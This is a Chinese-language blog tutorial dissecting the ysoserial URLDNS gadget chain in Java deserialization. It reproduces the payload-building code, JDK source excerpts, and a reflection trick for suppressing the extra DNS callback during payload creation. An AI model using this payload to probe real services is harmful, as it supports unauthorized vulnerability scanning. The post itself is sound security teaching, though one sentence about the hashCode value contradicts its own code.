我正在参与掘金创作者训练营第5期,点击了解活动详情
引子
URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。
但是它有以下优点:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞
先说一下整个链的过程
HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()
复制代码
我们可以通过这条链很容易判断是否存在反序列化漏洞
JAVA序列化与反序列化
SER
public static void serialize( ) throws IOException {
Student student = new Student();
student.setName("CodeSheep");
ObjectOutputStream objectOutputStream =
new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );
objectOutputStream.writeObject( student ); //将student序列化结果写入student.txt
objectOutputStream.close();
System.out.println("序列化成功");
}
复制代码
UNSER
public static void deserialize( ) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream =
new ObjectInputStream( new FileInputStream( new File("student.txt") ) );
Student student = (Student) objectInputStream.readObject(); //从student.txt中读出student对象,这块需要强转一下。
objectInputStream.close();
System.out.println("反序列化结果为:");
System.out.println( student );
复制代码
在序列化和反序列化时执行类自定义的readObject和writeObject,这就是我们利用的点
URLDNS
本链不作为攻击方法,只作为验证。
入口类HashMap:符合条件
1)入口类重写readObject方法
2)入口类可传入任意对象(这种类一般为集合类)
3)执行类可被利用执行危险或任意函数
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
复制代码
代码很短,简单看一下,我们跟进HashMap类里看看
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
复制代码
可以看到重写了readobject方法,因为HashMap<K,V>
存储数据采用的哈希表结构,元素的存取顺序不能保证一致。
重点是其中的
putVal(hash(key), key, value, false, false);
复制代码
我们可以看到putVal调用了hash函数,跟进一下,发现这里使用传入参数对象key
的hashCode
方法。 至此我们可以知道key可能是可控的。那我们要怎样利用呢?
我们再来说一说hashCode方法,根据链子名称,我们看一下URL类的hashcode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
复制代码
hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL
类的实例作为参数传入。
handler
是URLStreamHandler
的实例,跟进handler
的hashCode
方法,接收URL
类的实例,调⽤getHostAddress
⽅法
我们继续跟进一下
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
复制代码
到这我们可以看到跟进getHostAddress
⽅法,getHostAddress
方法中会获取传入的URL
对象的IP,也就是会进行DNS请求。
整个链子的执行效果也就是进行DNS请求。链子的逻辑也就是:
HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()
复制代码
注意点
经过上面的执行后大家会发现当我们执行这个链子时,DNSLOG会收到两次请求。这是因为我们还没有进行反序列化之前链子已经走完,就会请求一次DNS,这会对我们判断打没打通照成不小的影响。对于这里,我们可以通过反射机制来让hashCode不等于-1,修改方法:
反射爆破—>setAccessible
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1);
复制代码
而在ysoserial中为了让HashMap在第一次put元素时,不执行DNSLOG请求,因此,ysoserial重写了getHostAddress方法,将该方法置为空实现。
URLStreamHandler handler = new SilentURLStreamHandler();ht.put(new URL(null, url, handler), url); --> putVal(hash(key), key, value, false, true) --> hash(key) --> URL.hashCode() --> URLStreamHandler.hashCode(this) --> SilentURLStreamHandler.getHostAddress(u) --> 空实现。
复制代码
至于为什么要设置为-1,hashCode值默认为-1,HashMap.put操作,会重置成员变量的值。